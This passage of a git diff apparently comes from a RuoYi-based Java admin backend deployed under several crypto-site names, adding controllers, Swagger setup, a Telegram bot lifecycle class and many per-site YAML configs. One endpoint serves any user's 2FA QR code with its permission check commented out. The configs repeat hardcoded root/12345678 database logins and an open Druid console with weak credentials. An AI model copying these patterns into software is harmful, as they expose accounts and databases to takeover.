String bar = GoogleAuthenticator.getGoogleAuthenticatorBarCode(key,user.getUserName(), RuoYiConfig.getGoogleHost()); + response.setContentType("image/png"); + OutputStream stream = response.getOutputStream(); + QrCodeUtil.encode(bar,stream); + } + + @Log(title = "查看google验证码", businessType = BusinessType.OTHER) +// @PreAuthorize("@ss.hasPermi('system:user:googleCode')") + @GetMapping("/googleCode") + public void code(Long userId, HttpServletResponse response) throws Exception{ + SysUser user = userService.selectUserById(userId); + if(null==user.getGoogleKey()){ + response.setContentType("application/json"); + OutputStream stream = response.getOutputStream(); + String ret = "您还没有开通google验证,请先更新google验证来开通..."; + stream.write(ret.getBytes()); + return; + } + String bar = GoogleAuthenticator.getGoogleAuthenticatorBarCode(user.getGoogleKey(),user.getUserName(), RuoYiConfig.getGoogleHost()); + response.setContentType("image/png"); + OutputStream stream = response.getOutputStream(); + QrCodeUtil.encode(bar,stream); + } + + @Log(title = "查询所有的代理用户", businessType = BusinessType.UPDATE) + @PreAuthorize("@ss.hasPermi('system:user:selectAllAgentUser')") + @GetMapping("/selectAllAgentUser") + public TableDataInfo selectAllAgentUser(SysUser user) + { + + List list = userService.selectAllAgentUser(user); + return getDataTable(list); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/tool/TestController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/tool/TestController.java new file mode 100644 index 0000000..b4f6bac --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/tool/TestController.java @@ -0,0 +1,183 @@ +package com.ruoyi.web.controller.tool; + +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.R; +import com.ruoyi.common.utils.StringUtils; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiImplicitParam; +import io.swagger.annotations.ApiImplicitParams; +import io.swagger.annotations.ApiModel; +import io.swagger.annotations.ApiModelProperty; +import io.swagger.annotations.ApiOperation; + +/** + * swagger 用户测试方法 + * + * @author ruoyi + */ +@Api("用户信息管理") +@RestController +@RequestMapping("/test/user") +public class TestController extends BaseController +{ + private final static Map users = new LinkedHashMap(); + { + users.put(1, new UserEntity(1, "admin", "admin123", "15888888888")); + users.put(2, new UserEntity(2, "ry", "admin123", "15666666666")); + } + + @ApiOperation("获取用户列表") + @GetMapping("/list") + public R> userList() + { + List userList = new ArrayList(users.values()); + return R.ok(userList); + } + + @ApiOperation("获取用户详细") + @ApiImplicitParam(name = "userId", value = "用户ID", required = true, dataType = "int", paramType = "path", dataTypeClass = Integer.class) + @GetMapping("/{userId}") + public R getUser(@PathVariable Integer userId) + { + if (!users.isEmpty() && users.containsKey(userId)) + { + return R.ok(users.get(userId)); + } + else + { + return R.fail("用户不存在"); + } + } + + @ApiOperation("新增用户") + @ApiImplicitParams({ + @ApiImplicitParam(name = "userId", value = "用户id", dataType = "Integer", dataTypeClass = Integer.class), + @ApiImplicitParam(name = "username", value = "用户名称", dataType = "String", dataTypeClass = String.class), + @ApiImplicitParam(name = "password", value = "用户密码", dataType = "String", dataTypeClass = String.class), + @ApiImplicitParam(name = "mobile", value = "用户手机", dataType = "String", dataTypeClass = String.class) + }) + @PostMapping("/save") + public R save(UserEntity user) + { + if (StringUtils.isNull(user) || StringUtils.isNull(user.getUserId())) + { + return R.fail("用户ID不能为空"); + } + users.put(user.getUserId(), user); + return R.ok(); + } + + @ApiOperation("更新用户") + @PutMapping("/update") + public R update(@RequestBody UserEntity user) + { + if (StringUtils.isNull(user) || StringUtils.isNull(user.getUserId())) + { + return R.fail("用户ID不能为空"); + } + if (users.isEmpty() || !users.containsKey(user.getUserId())) + { + return R.fail("用户不存在"); + } + users.remove(user.getUserId()); + users.put(user.getUserId(), user); + return R.ok(); + } + + @ApiOperation("删除用户信息") + @ApiImplicitParam(name = "userId", value = "用户ID", required = true, dataType = "int", paramType = "path", dataTypeClass = Integer.class) + @DeleteMapping("/{userId}") + public R delete(@PathVariable Integer userId) + { + if (!users.isEmpty() && users.containsKey(userId)) + { + users.remove(userId); + return R.ok(); + } + else + { + return R.fail("用户不存在"); + } + } +} + +@ApiModel(value = "UserEntity", description = "用户实体") +class UserEntity +{ + @ApiModelProperty("用户ID") + private Integer userId; + + @ApiModelProperty("用户名称") + private String username; + + @ApiModelProperty("用户密码") + private String password; + + @ApiModelProperty("用户手机") + private String mobile; + + public UserEntity() + { + + } + + public UserEntity(Integer userId, String username, String password, String mobile) + { + this.userId = userId; + this.username = username; + this.password = password; + this.mobile = mobile; + } + + public Integer getUserId() + { + return userId; + } + + public void setUserId(Integer userId) + { + this.userId = userId; + } + + public String getUsername() + { + return username; + } + + public void setUsername(String username) + { + this.username = username; + } + + public String getPassword() + { + return password; + } + + public void setPassword(String password) + { + this.password = password; + } + + public String getMobile() + { + return mobile; + } + + public void setMobile(String mobile) + { + this.mobile = mobile; + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java b/ruoyi-admin/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java new file mode 100644 index 0000000..ae1c3ec --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java @@ -0,0 +1,125 @@ +package com.ruoyi.web.core.config; + +import java.util.ArrayList; +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import com.ruoyi.common.config.RuoYiConfig; +import io.swagger.annotations.ApiOperation; +import io.swagger.models.auth.In; +import springfox.documentation.builders.ApiInfoBuilder; +import springfox.documentation.builders.PathSelectors; +import springfox.documentation.builders.RequestHandlerSelectors; +import springfox.documentation.service.ApiInfo; +import springfox.documentation.service.ApiKey; +import springfox.documentation.service.AuthorizationScope; +import springfox.documentation.service.Contact; +import springfox.documentation.service.SecurityReference; +import springfox.documentation.service.SecurityScheme; +import springfox.documentation.spi.DocumentationType; +import springfox.documentation.spi.service.contexts.SecurityContext; +import springfox.documentation.spring.web.plugins.Docket; + +/** + * Swagger2的接口配置 + * + * @author ruoyi + */ +@Configuration +public class SwaggerConfig +{ + /** 系统基础配置 */ + @Autowired + private RuoYiConfig ruoyiConfig; + + /** 是否开启swagger */ + @Value("${swagger.enabled}") + private boolean enabled; + + /** 设置请求的统一前缀 */ + @Value("${swagger.pathMapping}") + private String pathMapping; + + /** + * 创建API + */ + @Bean + public Docket createRestApi() + { + return new Docket(DocumentationType.OAS_30) + // 是否启用Swagger + .enable(enabled) + // 用来创建该API的基本信息,展示在文档的页面中(自定义展示的信息) + .apiInfo(apiInfo()) + // 设置哪些接口暴露给Swagger展示 + .select() + // 扫描所有有注解的api,用这种方式更灵活 + .apis(RequestHandlerSelectors.withMethodAnnotation(ApiOperation.class)) + // 扫描指定包中的swagger注解 + // .apis(RequestHandlerSelectors.basePackage("com.ruoyi.project.tool.swagger")) + // 扫描所有 .apis(RequestHandlerSelectors.any()) + .paths(PathSelectors.any()) + .build() + /* 设置安全模式,swagger可以设置访问token */ + .securitySchemes(securitySchemes()) + .securityContexts(securityContexts()) + .pathMapping(pathMapping); + } + + /** + * 安全模式,这里指定token通过Authorization头请求头传递 + */ + private List securitySchemes() + { + List apiKeyList = new ArrayList(); + apiKeyList.add(new ApiKey("Authorization", "Authorization", In.HEADER.toValue())); + return apiKeyList; + } + + /** + * 安全上下文 + */ + private List securityContexts() + { + List securityContexts = new ArrayList<>(); + securityContexts.add( + SecurityContext.builder() + .securityReferences(defaultAuth()) + .operationSelector(o -> o.requestMappingPattern().matches("/.*")) + .build()); + return securityContexts; + } + + /** + * 默认的安全上引用 + */ + private List defaultAuth() + { + AuthorizationScope authorizationScope = new AuthorizationScope("global", "accessEverything"); + AuthorizationScope[] authorizationScopes = new AuthorizationScope[1]; + authorizationScopes[0] = authorizationScope; + List securityReferences = new ArrayList<>(); + securityReferences.add(new SecurityReference("Authorization", authorizationScopes)); + return securityReferences; + } + + /** + * 添加摘要信息 + */ + private ApiInfo apiInfo() + { + // 用ApiInfoBuilder进行定制 + return new ApiInfoBuilder() + // 设置标题 + .title("标题:若依管理系统_接口文档") + // 描述 + .description("描述:用于管理集团旗下公司的人员信息,具体包括XXX,XXX模块...") + // 作者信息 + .contact(new Contact(ruoyiConfig.getName(), null, null)) + // 版本 + .version("版本号:" + ruoyiConfig.getVersion()) + .build(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java b/ruoyi-admin/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java new file mode 100644 index 0000000..63b489d --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java @@ -0,0 +1,73 @@ +package com.ruoyi.web.lifecycle; + +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.telegrambot.MyTelegramBot; +import com.ruoyi.telegrambot.TelegramBotConfig; +import lombok.extern.slf4j.Slf4j; +import org.springframework.context.SmartLifecycle; +import org.springframework.stereotype.Component; +import org.telegram.telegrambots.meta.exceptions.TelegramApiException; +@Slf4j +@Component +public class MySmartLifecycle implements SmartLifecycle { + + private volatile boolean running = false; + + /*** true:让Lifecycle类所在的上下文在调用`refresh`时,能够自己自动进行回调* false:表明组件打算通过显式的start()调用来启动,类似于普通的Lifecycle实现。*/ + @Override + public boolean isAutoStartup() { + return true; + } + + /*** 很多框架中,把真正逻辑写在stop()方法内。比如quartz和Redis的spring支持包*/ + @Override + public void stop(Runnable callback) { + System.out.println("stop(callback)"); + stop(); + callback.run(); + } + + @Override + public void start() { + log.info("SmartLifecycle 生命周期初始化 ==========开始"); + //初始化机器人配置 + MyTelegramBot myTelegramBot = SpringContextUtil.getBean(MyTelegramBot.class); + myTelegramBot.initMyTelegramBot(); + log.info("myTelegramBot 初始化 ==========结束"); + //启动机器人 + TelegramBotConfig telegramBotConfig = SpringContextUtil.getBean(TelegramBotConfig.class); + try { + log.info("开始创建机器人链接 TelegramBot============开始"); + telegramBotConfig.start(); + log.info("开始创建机器人链接 TelegramBot============结束"); + } catch (TelegramApiException e) { + e.printStackTrace(); + } running = true; + } + + @Override + public void stop() { + TelegramBotConfig telegramBotConfig = SpringContextUtil.getBean(TelegramBotConfig.class); + telegramBotConfig.stop(); + RedisCache redisCache = SpringContextUtil.getBean(RedisCache.class); + redisCache.deleteObject("notice_key"); + redisCache.deleteObject("notice"); + redisCache.deleteObject(CachePrefix.ORDER_SECOND_CONTRACT.getPrefix()+"*"); + running = false; + } + + @Override + public boolean isRunning() { + System.out.println("isRunning()"); + return running; + } + + /*** 阶段值。越小:start()方法越靠前,stop()方法越靠后*/ + @Override + public int getPhase() { + System.out.println("getPhase()"); + return 0; + } +} \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/META-INF/spring-devtools.properties b/ruoyi-admin/src/main/resources/META-INF/spring-devtools.properties new file mode 100644 index 0000000..2b23f85 --- /dev/null +++ b/ruoyi-admin/src/main/resources/META-INF/spring-devtools.properties @@ -0,0 +1 @@ +restart.include.json=/com.alibaba.fastjson.*.jar \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-aams.yml b/ruoyi-admin/src/main/resources/application-aams.yml new file mode 100644 index 0000000..b39a1fa --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-aams.yml @@ -0,0 +1,95 @@ +app: + name: aams +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/aams?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-bitbyex.yml b/ruoyi-admin/src/main/resources/application-bitbyex.yml new file mode 100644 index 0000000..f498ff0 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-bitbyex.yml @@ -0,0 +1,96 @@ +app: + name: ticbit +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitbyex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-bitfly.yml b/ruoyi-admin/src/main/resources/application-bitfly.yml new file mode 100644 index 0000000..9900be5 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-bitfly.yml @@ -0,0 +1,95 @@ +app: + name: bityc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitfly?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-bitmake.yml b/ruoyi-admin/src/main/resources/application-bitmake.yml new file mode 100644 index 0000000..1192395 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-bitmake.yml @@ -0,0 +1,96 @@ +app: + name: bitmake +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitmake?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-bityc.yml b/ruoyi-admin/src/main/resources/application-bityc.yml new file mode 100644 index 0000000..68de3e5 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-bityc.yml @@ -0,0 +1,95 @@ +app: + name: bityc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bityc?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-bkfcoin.yml b/ruoyi-admin/src/main/resources/application-bkfcoin.yml new file mode 100644 index 0000000..e5d6312 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-bkfcoin.yml @@ -0,0 +1,96 @@ +app: + name: bkfcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bkfcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-cmwoin.yml b/ruoyi-admin/src/main/resources/application-cmwoin.yml new file mode 100644 index 0000000..9e32037 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-cmwoin.yml @@ -0,0 +1,96 @@ +app: + name: cmwoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/cmwoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-coinang.yml b/ruoyi-admin/src/main/resources/application-coinang.yml new file mode 100644 index 0000000..606c1bc --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-coinang.yml @@ -0,0 +1,96 @@ +app: + name: coinang +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinang?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 